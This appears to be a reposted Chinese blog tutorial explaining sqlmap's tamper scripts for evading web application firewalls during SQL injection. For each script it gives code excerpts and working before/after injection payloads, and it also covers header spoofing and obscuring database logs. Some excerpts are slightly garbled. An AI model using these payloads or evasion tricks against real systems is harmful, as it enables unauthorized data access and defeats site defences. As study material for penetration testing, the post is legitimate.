SQLMAP之tamper详解

sqlmap 是一款注入神器广为人知,里面的 tamper 常常用来绕过 WAF ,很实用的模块,但是却常常被新手忽略(比如我),今天就整理总结一下 tamper 的用法以及 tamper 的编写

PS:工具既然叫做工具,就是用来辅助上单的,呸辅助我们完成某些任务的,仅仅适用于当进行某些重复的繁琐工作或是偶尔懒癌发作时,不能过度依赖

ALL 表示所有数据库都适用,具体指出哪种数据库就表名只只适用于某些数据。

使用方法:
sqlmap.py XXXXX -tamper "模块名"

各个 tamper 的作用
下面针对 sqlmap 自带的 tamper 做一下简单的解释。

apostrophemask.py:
return payload.replace(''', "%EF%BC%87") if payload else payload

将单引号 url 编码,用于过滤了单引号的情况。

1' AND '1'='1 to 1%EF%BC%87 AND %EF%BC%871%EF%BC%87=%EF%BC%871

适用数据库:ALL

apostrophenullencode.py:
return payload.replace(''', "%00%27") if payload else payload

将单引号替换为宽字节 unicode 字符,用于过滤了单引号的情况

1' AND '1'='1 to 1�' AND �'1�'=�'1

适用数据库:ALL

appendnullbyte.py:
return "%s%%00" % payload if payload else payload

在你构造的payload后面加一个空字符

1' AND '1'='1 to 1' AND '1'='1[]

适用数据库:Access

base64encode.py:
return base64.b64encode(payload.encode(UNICODE_ENCODING)) if payload else payload

这个看模块名也知道是 base64 编码

1' AND '1'='1 to MScgQU5EICcxJz0nMQ==

适用数据库:ALL

between.py:
这个代码有点长,就不贴代码了,可以自己去查看:C:\Python\SQLMap\tamper\between.py

将大于符号和等号用 between 语句替换,用于过滤了大于符号和等号的情况

1 AND A > B to 1 AND A NOT BETWEEN 0 AND B

1 AND A = B to 1 AND A BETWEEN B AND B

适用数据库:ALL

bluecoat.py:
用随机的空白字符代替空格,并且将等号替换为 like ,用于过滤了空格和等号的情况

union select from users where id = 1 to union%09select from%09users where id like 1

适用数据库:MySQL 5.1, SGOS

chardoubleencode.py:
用 url 编码两次你的 payload

select * from users to %2573%2565%256c%2565%2563%2574%2520%252a%2520%2566%2572%256f%256d%2520%2575%2573%2565%2572

适用数据库:ALL

charencode.py:
用 url 编码一次你的 payload

select * from users to %73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%75%73%65%72

适用数据库:ALL

charunicodeencode.py:
用 unicode 编码 payload ,只编码非编码字符

select * from users to u0073u0065u006cu0065u0063u0074u0020u002au0020u0066u0072u006fu006du0020u0075u0073u0065u0072u0073

适用数据库:ALL,但是需要 asp 和 asp.net 环境

commalesslimit.py:
将 payload 中的逗号用 offset 代替,用于过滤了逗号并且是两个参数的情况

limit 2,1 to limit 1 offset 2

适用数据库:MySQL

commalessmid.py:
将 payload 中的逗号用 from for 代替,用于过滤了逗号并且是三参数的情况

mid(version(), 1, 1) to mid(version() from 1 for 1)

适用数据库:MySQL

commentbeforeparentheses.py:
retVal = re.sub(r"b(w+)(", "g<1>/**/(", retVal)

在某个单词后的第一个括号前面加入 /**/ ,用于过滤了函数的情况

union select group_concat(table_name) to union select group_concat/**/(table_name)

适用数据库:ALL

concat2concatws.py:
payload = payload.replace("CONCAT(", "CONCAT_WS(MID(CHAR(0),0,0),")

用于过滤了 concat 函数的情况

concat(1,2) to concat_ws(mid(char(0), 0, 0), 1, 2)

适用数据库:MySQL

equaltolike.py:
retVal = re.sub(r"s=s", " LIKE ", retVal)

将等号用 like 代替,用于过滤了等号的情况

select from users where id=1 to select from users where id like 1

适用数据库:ALL

escapequotes.py:
return payload.replace("'", "'").replace('"', '"')

将单引号转换成 \' ,双引号转换成 \" ,用于过滤了单引号或双引号的情况

1' and 1=1--+ to 1\' and 1=1--+

适用数据库:ALL

greatest.py:
用 greatest 代替大于符号,用于大于符号被过滤了的情况

1 and a>b to 1 and greatest(a,b+1)=a

ALL

halfversionedmorekeywords.py:
在关键字前添加注释,用于过滤了关键字的情况

union select 1,2 to /!0union/!0select 1,2

适用数据库:MySQL < 5.1

htmlencode.py:
return re.sub(r"1", lambda match: "&#%d;" % ord(match.group(0)), payload) if payload else payload

从名字就知道是将 payload 进行 html 编码

1' and 1=1--+ to 1' and 1=1--+

适用数据库:ALL

ifnull2ifisnull.py:
将 ifnull() 函数转为 if(isnull()) 函数,用于过滤了 ifnull 函数的情况

ifnull(1, 2) to if(isnull(1), 2, 1)

适用数据库:MySql

informationschemacomment.py:
retVal = re.sub(r"(?i)(information_schema).", "g<1>/**/.", payload)

在 information_schema 后面加上 /**/ ,用于绕过对 information_schema 的情况

select table_name from information_schema.tables to select table_name from information_schema/**/.tables

适用数据库:ALL

lowercase.py:
将 payload 里的大写转为小写

UNION SELECT to union select

适用数据库:ALL

modsecurityversioned.py:
用注释来包围完整的查询语句,用于绕过 ModSecurity 开源 waf

1 and 2>1--+ to 1 /!30874and 2>1/--+

适用数据库:MySQL

modsecurityzeroversioned.py:
用注释来包围完整的查询语句,用于绕过 waf ,和上面类似

1 and 2>1--+ to 1 /!00000and 2>1/--+

适用数据库:MySQL

multiplespaces.py:
在关键字周围添加多个空格

union select 1,2--+ to union select 1,2--+

适用数据库:ALL

nonrecursivereplacement.py:
关键字双写,可用于关键字过滤

union select 1,2--+ to uniounionn selecselectt 1,2--+

适用数据库:ALL

overlongutf8.py:
这个不是很懂,也去网上搜了下,都说是”转换给定的 payload 当中的所有字符“,类似空格大于小于这种

select field from table where 2>1 to select%C0%AAfield%C0%AAfromtable%C0%AAwhere%C0%AA2%C0%BE1

适用数据库:ALL

percentage.py:
用百分号来绕过关键字过滤,具体是在关键字的每个字母前面都加一个百分号

select from users to %s%e%l%e%c%t %f%r%o%m %u%s%e%r%s

适用数据库:ALL, 但是需要 ASP 环境

plus2concat.py:
用 concat 函数来替代加号,用于加号被过滤的情况

select char(13)+char(114)+char(115) from user to select concat(char(113),char(114),char(115)) from user

适用数据库:SQL Server 2012+

plus2fnconcat.py:
用 fn concat 来替代加号,和上面类似

select char(13)+char(114)+char(115) from user to select {fn concat({ fn concat(char(113),char(114))},char(115))} from user

适用数据库:Microsoft SQL Server 2008+

randomcase.py:
将 payload 随机大小写,可用于大小写绕过的情况

union select 1,2--+ to UniOn SElect 1,2--+

适用数据库:ALL

randomcomments.py:
在 payload 的关键字中间随机插入 /**/ ,可用于绕过关键字过滤

union select 1,2--+ to un//ion sele//ct 1,2--+

适用数据库:ALL

securesphere.py:
return payload + " and '0having'='0having'" if payload else payload

在 payload 后面加入字符串,可以自定义

1' and 1=1 to 1' and 1=1 '0having'='0having'

适用数据库:ALL

sp_password.py:
retVal = "%s%ssp_password" % (payload, "-- " if not any(_ if in payload else None for in ('#', "-- ")) else "")

在 payload 语句后添加 ssp_password ,用于迷惑数据库日志

1’ and 1=1--+ to 1 and 1=1-- sp_password

适用数据库:MSSQL

space2comment.py:
用 /**/ 替代空格,用于空格的绕过

union select 1,2--+ to union//select//1,2--+

适用数据库:ALL

space2dash.py:
用注释符--和一个随机字符串加一个换行符替换控制符

?union select 1,2--+ to union--HSHjsJh%0Aselect--HhjHSJ%0A1,2--+

适用数据库:MSSQL、 SQLite

space2hash.py:
和上面类似,不过这儿是用#注释符

union select 1,2--+ to union%23HSHjsJh%0Aselect%23HhjHSJ%0A1,2--+

适用数据库:MySQL

space2morecomment.py:
将空格用 /_/ 替代

union select 1,2--+ to union/_/select/_/1,2--+

适用数据库:ALL

space2morehash.py:
和 space2hash.py 类似,但是这儿多一个 # 和换行符,具体看一下对比:

space2hash.py: union select 1,2--+ to union %23 HSHjsJh %0A select %23 HhjHSJ %0A1,2--+

space2morehash.py:union select 1,2--+ to union %23 HSHjsJh %0A select %23 HhjHSJ %0A%23 HJHJhj %0A 1,2--+

适用数据库:MySQL >= 5.1.13

space2mssqlblank.py:
blanks = ('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')

用这些随机空白符替换 payload 中的空格

union select 1,2--+ to union%01select%021,2--+

适用数据库:SQL Server

space2mssqlhash.py:
用 # 加一个换行符替换 payload 中的空格

union select 1,2--+ to union%23%0Aselect%23%0A1,2--+

适用数据库:MSSQL、MySQL

space2mysqlblank.py:
blanks = ('%09', '%0A', '%0C', '%0D', '%0B')

用这些随机空白符替换payload中的空格

union select 1,2--+ to union%09select%0D1,2--+

适用数据库:MySQL

space2mysqldash.py:
用 -- 加一个换行符替换空格

union select 1,2--+ to union--%0Aselect--%0A1,2--+

适用数据库:MySQL、MSSQL

space2plus.py:
用 + 替换空格

union select 1,2--+ to union+select+1,2--+

适用数据库:ALL

space2randomblank.py:
blanks = ("%09", "%0A", "%0C", "%0D")

用这些随机空白符替换 payload 中的空格

union select 1,2--+ to union%09select%0C1,2--+

适用数据库:ALL

symboliclogical.py:
retVal = re.sub(r"(?i)bANDb", "%26%26", re.sub(r"(?i)bORb", "%7C%7C", payload))

用 && 替换 and ,用 || 替换 or ,用于这些关键字被过滤的情况

1 and 1=1 to 1 %26%26 1=1

1 or 1=1 to 1 %7c%7c 1=1

适用数据库:ALL

unionalltounion.py:
return payload.replace("UNION ALL SELECT", "UNION SELECT") if payload else payload

用 union select 替换union all select

union all select 1,2--+ to union select 1,2--+

适用数据库:ALL

unmagicquotes.py:
用宽字符绕过 GPC addslashes

1‘ and 1=1 to 1%df%27 and 1=1--

适用数据库:ALL

uppercase.py:
将 payload 大写

union select to UNION SELECT

适用数据库:ALL

varnish.py:
headers = kwargs.get("headers", {})headers["X-originating-IP"] = "127.0.0.1"return payload

添加一个 HTTP 头 “ X-originating-IP ” 来绕过 WAF

还可以自定义:

X-forwarded-for: TARGET_CACHESERVER_IP (184.189.250.X)X-remote-IP: TARGET_PROXY_IP (184.189.250.X)X-originating-IP: TARGET_LOCAL_IP (127.0.0.1)x-remote-addr: TARGET_INTERNALUSER_IP (192.168.1.X)X-remote-IP: * or %00 or %0A

适用数据库:ALL

versionedkeywords.py
对不是函数的关键字进行注释

1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#

to

1/!UNION//!ALL//!SELECT//!NULL/,/!NULL/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/!AS//!CHAR/),CHAR(32)),CHAR(58,100,114,117,58))#

适用数据库:MySQL

versionedmorekeywords.py:
注释每个关键字

1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#

to

1/!UNION//!ALL//!SELECT//!NULL/,/!NULL/,/!CONCAT/(/!CHAR/(58,122,114,115,58),/!IFNULL/(CAST(/!CURRENT_USER/()/!AS//!CHAR/),/!CHAR/(32)),/!CHAR/(58,115,114,121,58))#

适用数据库:MySQL >= 5.1.13

xforwardedfor.py:
headers = kwargs.get("headers", {})headers["X-Forwarded-For"] = randomIP()return payload

添加一个伪造的 HTTP 头 “ X-Forwarded-For ” 来绕过 WAF

适用数据库:ALL

总结
虽然 sqlmap 自带的 tamper 可以做很多事情,但是在实际的环境中,往往比较复杂,可能遇到的情况会非常多,这些 tamper 不可能做到很全面的应对各种环境,所以在学习自带的 tamper 的使用的同时,最好能够掌握 tamper 的编写规则,这样应对各种环境才能应对自如,不过作者也在准备这么一篇关于 tamper 的编写方式,希望可以帮到更多的同学,让我们在学习的路上不是孤军奋战。

 

转载:http://www.myh0st.cn/index.php/archives/881/

posted @ 2019-05-08 10:38  APT-101  阅读(2277)  评论(0编辑  收藏  举报